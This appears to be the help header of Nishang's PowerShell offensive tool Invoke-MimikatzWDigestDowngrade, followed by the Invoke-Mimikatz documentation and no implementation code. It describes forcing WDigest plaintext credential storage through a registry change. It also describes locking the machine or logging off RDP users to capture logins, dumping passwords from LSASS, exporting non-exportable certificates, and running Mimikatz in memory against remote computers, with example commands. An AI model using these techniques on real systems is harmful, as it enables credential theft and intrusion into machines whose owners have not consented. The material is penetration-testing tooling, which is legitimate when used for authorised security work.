function Invoke-MimikatzWDigestDowngrade
{
<#
.SYNOPSIS
Nishang script which can dump passwords in plain text from Windows 8.1 and Server 2012 onwards.
.DESCRIPTION
The script forces use of Logon Credentials for Wdigest by adding a registry property.
If the RDP switch is used, the script targets the logged in RDP users. The users are logged off and the
script waits till any of the RDP sessions becomes active. As soon as it finds an active session, indicating that
a user has logged in, it runs Invoke-Mimikatz to dump credentials in plain text.
If the RDP switch is not used. The script locks the machine. As soon as a user unlocks the machine,
Invoke-Mimikatz function is executed to dump passwords in plain text.
The registry property added previously to force using WDigest is removed in both the cases.
The registry hack is borrowed from below post on TrustedSec's website:
https://www.trustedsec.com/april-2015/dumping-wdigest-creds-with-meterpreter-mimikatzkiwi-in-windows-8-1/
.EXAMPLE
PS > Invoke-MimikatzWDigestDowngrade
PS > Get-Job | Receive-Job
The script starts a job. Receiving the output of that job will show the passwords in plain. See the blogpost link below
for more details. Use above in client side attacks as it targets the console login. RDP sessions can't be "locked" using this.
.EXAMPLE
PS > Invoke-MimikatzWDigestDowngrade -RDP
Use above when targeting RDP users.

.SYNOPSIS
This script leverages Mimikatz 2.0 and Invoke-ReflectivePEInjection to reflectively load Mimikatz completely in memory. This allows you to do things such as
dump credentials without ever writing the mimikatz binary to disk.
The script has a ComputerName parameter which allows it to be executed against multiple computers.
This script should be able to dump credentials from any version of Windows through Windows 8.1 that has PowerShell v2 or higher installed.
Function: Invoke-Mimikatz
Author: Joe Bialek, Twitter: @JosephBialek
Mimikatz Author: Benjamin DELPY `gentilkiwi`. Blog: http://blog.gentilkiwi.com. Email: benjamin@gentilkiwi.com. Twitter @gentilkiwi
License: http://creativecommons.org/licenses/by/3.0/fr/
Required Dependencies: Mimikatz (included)
Optional Dependencies: None
Version: 1.5
ReflectivePEInjection version: 1.1
Mimikatz version: 2.0 alpha (2/16/2015)
.DESCRIPTION
Reflectively loads Mimikatz 2.0 in memory using PowerShell. Can be used to dump credentials without writing anything to disk. Can be used for any
functionality provided with Mimikatz.
.PARAMETER DumpCreds
Switch: Use mimikatz to dump credentials out of LSASS.
.PARAMETER DumpCerts
Switch: Use mimikatz to export all private certificates (even if they are marked non-exportable).
.PARAMETER Command
Supply mimikatz a custom command line. This works exactly the same as running the mimikatz executable like this: mimikatz "privilege::debug exit" as an example.
.PARAMETER ComputerName
Optional, an array of computernames to run the script on.
.EXAMPLE
Execute mimikatz on the local computer to dump certificates.
Invoke-Mimikatz -DumpCerts
.EXAMPLE
Execute mimikatz on two remote computers to dump credentials.
Invoke-Mimikatz -DumpCreds -ComputerName @("computer1", "computer2")
.EXAMPLE
Execute mimikatz on a remote computer with the custom command "privilege::debug exit" which simply requests debug privilege and exits
Invoke-Mimikatz -Command "privilege::debug exit" -ComputerName "computer1"
.NOTES
This script was created by combining the Invoke-ReflectivePEInjection script written by Joe Bialek and the Mimikatz code written by Benjamin DELPY
